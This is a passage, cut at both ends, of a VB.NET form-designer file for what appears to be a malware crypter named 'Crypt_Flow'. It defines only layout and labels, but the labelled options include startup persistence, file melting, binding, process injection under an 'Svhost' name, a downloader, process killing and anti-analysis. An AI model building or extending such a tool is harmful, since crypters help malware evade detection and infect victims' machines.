CType(CType(35, Byte), Integer)) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage1) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage2) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage3) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage6) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage5) + Me.Flowtabcontrol1.Controls.Add(Me.TabPage4) + Me.Flowtabcontrol1.DrawMode = System.Windows.Forms.TabDrawMode.OwnerDrawFixed + Me.Flowtabcontrol1.HeaderAlignment = System.Drawing.ContentAlignment.MiddleLeft + Me.Flowtabcontrol1.HeaderBackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Flowtabcontrol1.HeaderBorderColor = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.Flowtabcontrol1.HeaderFont = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Flowtabcontrol1.HeaderForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(132, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.Flowtabcontrol1.HeaderSelectedBackColor = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.Flowtabcontrol1.HeaderSelectedForeColor = System.Drawing.Color.White + Me.Flowtabcontrol1.ItemSize = New System.Drawing.Size(32, 100) + Me.Flowtabcontrol1.Location = New System.Drawing.Point(12, 48) + Me.Flowtabcontrol1.Multiline = True + Me.Flowtabcontrol1.Name = "Flowtabcontrol1" + Me.Flowtabcontrol1.SelectedIndex = 0 + Me.Flowtabcontrol1.Size = New System.Drawing.Size(519, 201) + Me.Flowtabcontrol1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed + Me.Flowtabcontrol1.TabIndex = 0 + ' + 'TabPage1 + ' + Me.TabPage1.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage1.Controls.Add(Me.FlowGroupBox3) + Me.TabPage1.Controls.Add(Me.FlowGroupBox2) + Me.TabPage1.Location = New System.Drawing.Point(104, 4) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(411, 193) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Main crypter tab" + ' + 'FlowGroupBox3 + ' + Me.FlowGroupBox3.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox3.Controls.Add(Me.FlowCheckbox3) + Me.FlowGroupBox3.Controls.Add(Me.FlowCheckbox2) + Me.FlowGroupBox3.Controls.Add(Me.Checkbox8) + Me.FlowGroupBox3.Controls.Add(Me.Checkbox6) + Me.FlowGroupBox3.Controls.Add(Me.Checkbox5) + Me.FlowGroupBox3.Controls.Add(Me.Checkbox1) + Me.FlowGroupBox3.Header = "" + Me.FlowGroupBox3.Location = New System.Drawing.Point(15, 145) + Me.FlowGroupBox3.Name = "FlowGroupBox3" + Me.FlowGroupBox3.Size = New System.Drawing.Size(379, 42) + Me.FlowGroupBox3.TabIndex = 2 + ' + 'FlowCheckbox3 + ' + Me.FlowCheckbox3.CheckedState = False + Me.FlowCheckbox3.DarkTheme = True + Me.FlowCheckbox3.Image = Nothing + Me.FlowCheckbox3.Location = New System.Drawing.Point(273, 23) + Me.FlowCheckbox3.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox3.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox3.Name = "FlowCheckbox3" + Me.FlowCheckbox3.NoRounding = False + Me.FlowCheckbox3.Size = New System.Drawing.Size(90, 16) + Me.FlowCheckbox3.TabIndex = 10 + Me.FlowCheckbox3.Text = "Persistance" + ' + 'FlowCheckbox2 + ' + Me.FlowCheckbox2.CheckedState = False + Me.FlowCheckbox2.DarkTheme = True + Me.FlowCheckbox2.Image = Nothing + Me.FlowCheckbox2.Location = New System.Drawing.Point(273, 3) + Me.FlowCheckbox2.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox2.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox2.Name = "FlowCheckbox2" + Me.FlowCheckbox2.NoRounding = False + Me.FlowCheckbox2.Size = New System.Drawing.Size(90, 16) + Me.FlowCheckbox2.TabIndex = 9 + Me.FlowCheckbox2.Text = "Melt File" + ' + 'Checkbox8 + ' + Me.Checkbox8.CheckedState = False + Me.Checkbox8.DarkTheme = True + Me.Checkbox8.Image = Nothing + Me.Checkbox8.Location = New System.Drawing.Point(138, 23) + Me.Checkbox8.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox8.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox8.Name = "Checkbox8" + Me.Checkbox8.NoRounding = False + Me.Checkbox8.Size = New System.Drawing.Size(117, 16) + Me.Checkbox8.TabIndex = 8 + Me.Checkbox8.Text = "Binder startup" + ' + 'Checkbox6 + ' + Me.Checkbox6.CheckedState = False + Me.Checkbox6.DarkTheme = True + Me.Checkbox6.Image = Nothing + Me.Checkbox6.Location = New System.Drawing.Point(138, 3) + Me.Checkbox6.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox6.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox6.Name = "Checkbox6" + Me.Checkbox6.NoRounding = False + Me.Checkbox6.Size = New System.Drawing.Size(90, 16) + Me.Checkbox6.TabIndex = 7 + Me.Checkbox6.Text = "Drop File" + ' + 'Checkbox5 + ' + Me.Checkbox5.CheckedState = False + Me.Checkbox5.DarkTheme = True + Me.Checkbox5.Image = Nothing + Me.Checkbox5.Location = New System.Drawing.Point(12, 23) + Me.Checkbox5.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox5.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox5.Name = "Checkbox5" + Me.Checkbox5.NoRounding = False + Me.Checkbox5.Size = New System.Drawing.Size(116, 16) + Me.Checkbox5.TabIndex = 3 + Me.Checkbox5.Text = "Keep EOF" + ' + 'Checkbox1 + ' + Me.Checkbox1.CheckedState = False + Me.Checkbox1.DarkTheme = True + Me.Checkbox1.Image = Nothing + Me.Checkbox1.Location = New System.Drawing.Point(12, 3) + Me.Checkbox1.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox1.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox1.Name = "Checkbox1" + Me.Checkbox1.NoRounding = False + Me.Checkbox1.Size = New System.Drawing.Size(116, 16) + Me.Checkbox1.TabIndex = 2 + Me.Checkbox1.Text = "Add to startup" + ' + 'FlowGroupBox2 + ' + Me.FlowGroupBox2.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox2.Controls.Add(Me.TxtClone) + Me.FlowGroupBox2.Controls.Add(Me.BtnClone) + Me.FlowGroupBox2.Controls.Add(Me.Button1) + Me.FlowGroupBox2.Controls.Add(Me.TextBox1) + Me.FlowGroupBox2.Controls.Add(Me.EofLabel1) + Me.FlowGroupBox2.Controls.Add(Me.TextBox2) + Me.FlowGroupBox2.Controls.Add(Me.TextBox3) + Me.FlowGroupBox2.Controls.Add(Me.Button3) + Me.FlowGroupBox2.Controls.Add(Me.Button4) + Me.FlowGroupBox2.Header = "" + Me.FlowGroupBox2.Location = New System.Drawing.Point(15, 6) + Me.FlowGroupBox2.Name = "FlowGroupBox2" + Me.FlowGroupBox2.Size = New System.Drawing.Size(379, 136) + Me.FlowGroupBox2.TabIndex = 1 + ' + 'TxtClone + ' + Me.TxtClone.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TxtClone.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TxtClone.Location = New System.Drawing.Point(12, 106) + Me.TxtClone.Name = "TxtClone" + Me.TxtClone.Size = New System.Drawing.Size(243, 20) + Me.TxtClone.TabIndex = 17 + ' + 'BtnClone + ' + Bloom38.Name = "DownGradient1" + Bloom38.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom39.Name = "DownGradient2" + Bloom39.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom40.Name = "NoneGradient1" + Bloom40.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom41.Name = "NoneGradient2" + Bloom41.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom42.Name = "Text" + Bloom42.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom43.Name = "Border1" + Bloom43.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom44.Name = "Border2A" + Bloom44.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom45.Name = "Border2B" + Bloom45.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.BtnClone.Colors = New Crypt_Flow.Bloom() {Bloom38, Bloom39, Bloom40, Bloom41, Bloom42, Bloom43, Bloom44, Bloom45} + Me.BtnClone.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.BtnClone.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.BtnClone.Image = Nothing + Me.BtnClone.Location = New System.Drawing.Point(261, 103) + Me.BtnClone.Name = "BtnClone" + Me.BtnClone.NoRounding = False + Me.BtnClone.Size = New System.Drawing.Size(105, 23) + Me.BtnClone.TabIndex = 16 + Me.BtnClone.Text = "Clone with" + Me.BtnClone.Transparent = False + ' + 'Button1 + ' + Bloom46.Name = "DownGradient1" + Bloom46.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom47.Name = "DownGradient2" + Bloom47.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom48.Name = "NoneGradient1" + Bloom48.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom49.Name = "NoneGradient2" + Bloom49.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom50.Name = "Text" + Bloom50.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom51.Name = "Border1" + Bloom51.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom52.Name = "Border2A" + Bloom52.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom53.Name = "Border2B" + Bloom53.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.Button1.Colors = New Crypt_Flow.Bloom() {Bloom46, Bloom47, Bloom48, Bloom49, Bloom50, Bloom51, Bloom52, Bloom53} + Me.Button1.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.Button1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Button1.Image = Nothing + Me.Button1.Location = New System.Drawing.Point(261, 7) + Me.Button1.Name = "Button1" + Me.Button1.NoRounding = False + Me.Button1.Size = New System.Drawing.Size(105, 23) + Me.Button1.TabIndex = 1 + Me.Button1.Text = "Browse file" + Me.Button1.Transparent = False + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.ForeColor = System.Drawing.Color.White + Me.TextBox1.Location = New System.Drawing.Point(12, 7) + Me.TextBox1.Multiline = True + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(243, 19) + Me.TextBox1.TabIndex = 3 + ' + 'EofLabel1 + ' + Me.EofLabel1.AutoSize = True + Me.EofLabel1.BackColor = System.Drawing.Color.Transparent + Me.EofLabel1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.EofLabel1.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.EofLabel1.Location = New System.Drawing.Point(9, 29) + Me.EofLabel1.Name = "EofLabel1" + Me.EofLabel1.Size = New System.Drawing.Size(68, 13) + Me.EofLabel1.TabIndex = 15 + Me.EofLabel1.Text = "EOF Result" + ' + 'TextBox2 + ' + Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox2.ForeColor = System.Drawing.Color.White + Me.TextBox2.Location = New System.Drawing.Point(12, 50) + Me.TextBox2.Multiline = True + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ReadOnly = True + Me.TextBox2.Size = New System.Drawing.Size(243, 19) + Me.TextBox2.TabIndex = 5 + ' + 'TextBox3 + ' + Me.TextBox3.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox3.ForeColor = System.Drawing.Color.White + Me.TextBox3.Location = New System.Drawing.Point(12, 79) + Me.TextBox3.Multiline = True + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.ReadOnly = True + Me.TextBox3.Size = New System.Drawing.Size(243, 19) + Me.TextBox3.TabIndex = 4 + ' + 'Button3 + ' + Bloom54.Name = "DownGradient1" + Bloom54.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom55.Name = "DownGradient2" + Bloom55.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom56.Name = "NoneGradient1" + Bloom56.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom57.Name = "NoneGradient2" + Bloom57.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom58.Name = "Text" + Bloom58.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom59.Name = "Border1" + Bloom59.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom60.Name = "Border2A" + Bloom60.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom61.Name = "Border2B" + Bloom61.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.Button3.Colors = New Crypt_Flow.Bloom() {Bloom54, Bloom55, Bloom56, Bloom57, Bloom58, Bloom59, Bloom60, Bloom61} + Me.Button3.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.Button3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Button3.Image = Nothing + Me.Button3.Location = New System.Drawing.Point(261, 46) + Me.Button3.Name = "Button3" + Me.Button3.NoRounding = False + Me.Button3.Size = New System.Drawing.Size(105, 23) + Me.Button3.TabIndex = 3 + Me.Button3.Text = "Browse icon" + Me.Button3.Transparent = False + ' + 'Button4 + ' + Bloom62.Name = "DownGradient1" + Bloom62.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom63.Name = "DownGradient2" + Bloom63.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom64.Name = "NoneGradient1" + Bloom64.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom65.Name = "NoneGradient2" + Bloom65.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom66.Name = "Text" + Bloom66.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom67.Name = "Border1" + Bloom67.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom68.Name = "Border2A" + Bloom68.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom69.Name = "Border2B" + Bloom69.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.Button4.Colors = New Crypt_Flow.Bloom() {Bloom62, Bloom63, Bloom64, Bloom65, Bloom66, Bloom67, Bloom68, Bloom69} + Me.Button4.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.Button4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Button4.Image = Nothing + Me.Button4.Location = New System.Drawing.Point(261, 75) + Me.Button4.Name = "Button4" + Me.Button4.NoRounding = False + Me.Button4.Size = New System.Drawing.Size(105, 23) + Me.Button4.TabIndex = 2 + Me.Button4.Text = "Bind with" + Me.Button4.Transparent = False + ' + 'TabPage2 + ' + Me.TabPage2.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage2.Controls.Add(Me.FlowGroupBox4) + Me.TabPage2.Location = New System.Drawing.Point(104, 4) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(411, 193) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "USG" + ' + 'TabPage3 + ' + Me.TabPage3.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage3.Controls.Add(Me.FlowGroupBox6) + Me.TabPage3.Location = New System.Drawing.Point(104, 4) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage3.Size = New System.Drawing.Size(411, 193) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = "Options" + ' + 'FlowGroupBox6 + ' + Me.FlowGroupBox6.BackColor = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.FlowGroupBox6.Controls.Add(Me.FlowGroupBox11) + Me.FlowGroupBox6.Controls.Add(Me.FlowGroupBox10) + Me.FlowGroupBox6.Controls.Add(Me.EofLabel) + Me.FlowGroupBox6.Header = "" + Me.FlowGroupBox6.Location = New System.Drawing.Point(6, 6) + Me.FlowGroupBox6.Name = "FlowGroupBox6" + Me.FlowGroupBox6.Size = New System.Drawing.Size(399, 181) + Me.FlowGroupBox6.TabIndex = 9 + ' + 'FlowGroupBox11 + ' + Me.FlowGroupBox11.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox11.Controls.Add(Me.CbClone) + Me.FlowGroupBox11.Controls.Add(Me.TextBox4) + Me.FlowGroupBox11.Controls.Add(Me.stealth) + Me.FlowGroupBox11.Controls.Add(Me.FlowLabel2) + Me.FlowGroupBox11.Controls.Add(Me.Checkbox2) + Me.FlowGroupBox11.Controls.Add(Me.FlowLabel3) + Me.FlowGroupBox11.Controls.Add(Me.ComboBox1) + Me.FlowGroupBox11.Controls.Add(Me.FlowLabel4) + Me.FlowGroupBox11.Header = "" + Me.FlowGroupBox11.Location = New System.Drawing.Point(3, 109) + Me.FlowGroupBox11.Name = "FlowGroupBox11" + Me.FlowGroupBox11.Size = New System.Drawing.Size(393, 69) + Me.FlowGroupBox11.TabIndex = 16 + ' + 'CbClone + ' + Me.CbClone.CheckedState = False + Me.CbClone.DarkTheme = True + Me.CbClone.Image = Nothing + Me.CbClone.Location = New System.Drawing.Point(300, 43) + Me.CbClone.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbClone.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbClone.Name = "CbClone" + Me.CbClone.NoRounding = False + Me.CbClone.Size = New System.Drawing.Size(90, 16) + Me.CbClone.TabIndex = 15 + Me.CbClone.Text = "Use Clone" + ' + 'TextBox4 + ' + Me.TextBox4.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox4.ForeColor = System.Drawing.Color.White + Me.TextBox4.Location = New System.Drawing.Point(100, 40) + Me.TextBox4.Name = "TextBox4" + Me.TextBox4.Size = New System.Drawing.Size(100, 20) + Me.TextBox4.TabIndex = 14 + Me.TextBox4.Text = "Default" + ' + 'stealth + ' + Me.stealth.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.stealth.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.stealth.ForeColor = System.Drawing.Color.White + Me.stealth.Location = New System.Drawing.Point(100, 11) + Me.stealth.Name = "stealth" + Me.stealth.Size = New System.Drawing.Size(100, 20) + Me.stealth.TabIndex = 13 + Me.stealth.Text = "Svhost" + ' + 'FlowLabel2 + ' + Me.FlowLabel2.AutoSize = True + Me.FlowLabel2.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel2.Location = New System.Drawing.Point(7, 14) + Me.FlowLabel2.Name = "FlowLabel2" + Me.FlowLabel2.Size = New System.Drawing.Size(88, 13) + Me.FlowLabel2.TabIndex = 7 + Me.FlowLabel2.Text = "Inject process" + ' + 'Checkbox2 + ' + Me.Checkbox2.CheckedState = False + Me.Checkbox2.DarkTheme = True + Me.Checkbox2.Image = Nothing + Me.Checkbox2.Location = New System.Drawing.Point(224, 43) + Me.Checkbox2.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox2.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox2.Name = "Checkbox2" + Me.Checkbox2.NoRounding = False + Me.Checkbox2.Size = New System.Drawing.Size(90, 16) + Me.Checkbox2.TabIndex = 7 + Me.Checkbox2.Text = "Bind File" + ' + 'FlowLabel3 + ' + Me.FlowLabel3.AutoSize = True + Me.FlowLabel3.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel3.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel3.Location = New System.Drawing.Point(7, 43) + Me.FlowLabel3.Name = "FlowLabel3" + Me.FlowLabel3.Size = New System.Drawing.Size(87, 13) + Me.FlowLabel3.TabIndex = 10 + Me.FlowLabel3.Text = "Custom name" + ' + 'ComboBox1 + ' + Me.ComboBox1.FormattingEnabled = True + Me.ComboBox1.Items.AddRange(New Object() {"executable"}) + Me.ComboBox1.Location = New System.Drawing.Point(282, 11) + Me.ComboBox1.Name = "ComboBox1" + Me.ComboBox1.Size = New System.Drawing.Size(99, 21) + Me.ComboBox1.TabIndex = 12 + Me.ComboBox1.Text = "executable" + ' + 'FlowLabel4 + ' + Me.FlowLabel4.AutoSize = True + Me.FlowLabel4.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel4.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel4.Location = New System.Drawing.Point(221, 14) + Me.FlowLabel4.Name = "FlowLabel4" + Me.FlowLabel4.Size = New System.Drawing.Size(55, 13) + Me.FlowLabel4.TabIndex = 11 + Me.FlowLabel4.Text = "File type" + ' + 'FlowGroupBox10 + ' + Me.FlowGroupBox10.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox10.Controls.Add(Me.TextBox16) + Me.FlowGroupBox10.Controls.Add(Me.TextBox15) + Me.FlowGroupBox10.Controls.Add(Me.FlowCheckbox4) + Me.FlowGroupBox10.Controls.Add(Me.FlowCheckbox1) + Me.FlowGroupBox10.Controls.Add(Me.Checkbox4) + Me.FlowGroupBox10.Header = "" + Me.FlowGroupBox10.Location = New System.Drawing.Point(3, 12) + Me.FlowGroupBox10.Name = "FlowGroupBox10" + Me.FlowGroupBox10.Size = New System.Drawing.Size(393, 89) + Me.FlowGroupBox10.TabIndex = 16 + ' + 'TextBox16 + ' + Me.TextBox16.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox16.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox16.ForeColor = System.Drawing.Color.White + Me.TextBox16.Location = New System.Drawing.Point(197, 36) + Me.TextBox16.Name = "TextBox16" + Me.TextBox16.Size = New System.Drawing.Size(184, 20) + Me.TextBox16.TabIndex = 18 + ' + 'TextBox15 + ' + Me.TextBox15.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox15.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox15.Location = New System.Drawing.Point(105, 6) + Me.TextBox15.Name = "TextBox15" + Me.TextBox15.Size = New System.Drawing.Size(276, 20) + Me.TextBox15.TabIndex = 17 + ' + 'FlowCheckbox4 + ' + Me.FlowCheckbox4.CheckedState = False + Me.FlowCheckbox4.DarkTheme = True + Me.FlowCheckbox4.Image = Nothing + Me.FlowCheckbox4.Location = New System.Drawing.Point(8, 40) + Me.FlowCheckbox4.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox4.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox4.Name = "FlowCheckbox4" + Me.FlowCheckbox4.NoRounding = False + Me.FlowCheckbox4.Size = New System.Drawing.Size(192, 16) + Me.FlowCheckbox4.TabIndex = 16 + Me.FlowCheckbox4.Text = "Kill process contain this word" + ' + 'FlowCheckbox1 + ' + Me.FlowCheckbox1.CheckedState = False + Me.FlowCheckbox1.DarkTheme = True + Me.FlowCheckbox1.Image = Nothing + Me.FlowCheckbox1.Location = New System.Drawing.Point(8, 11) + Me.FlowCheckbox1.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox1.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox1.Name = "FlowCheckbox1" + Me.FlowCheckbox1.NoRounding = False + Me.FlowCheckbox1.Size = New System.Drawing.Size(90, 16) + Me.FlowCheckbox1.TabIndex = 10 + Me.FlowCheckbox1.Text = "Downloader" + ' + 'Checkbox4 + ' + Me.Checkbox4.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Checkbox4.CheckedState = False + Me.Checkbox4.DarkTheme = True + Me.Checkbox4.Image = Nothing + Me.Checkbox4.Location = New System.Drawing.Point(8, 64) + Me.Checkbox4.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox4.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox4.Name = "Checkbox4" + Me.Checkbox4.NoRounding = False + Me.Checkbox4.Size = New System.Drawing.Size(99, 16) + Me.Checkbox4.TabIndex = 8 + Me.Checkbox4.Text = "Enable anti's" + ' + 'EofLabel + ' + Me.EofLabel.AutoSize = True + Me.EofLabel.Location 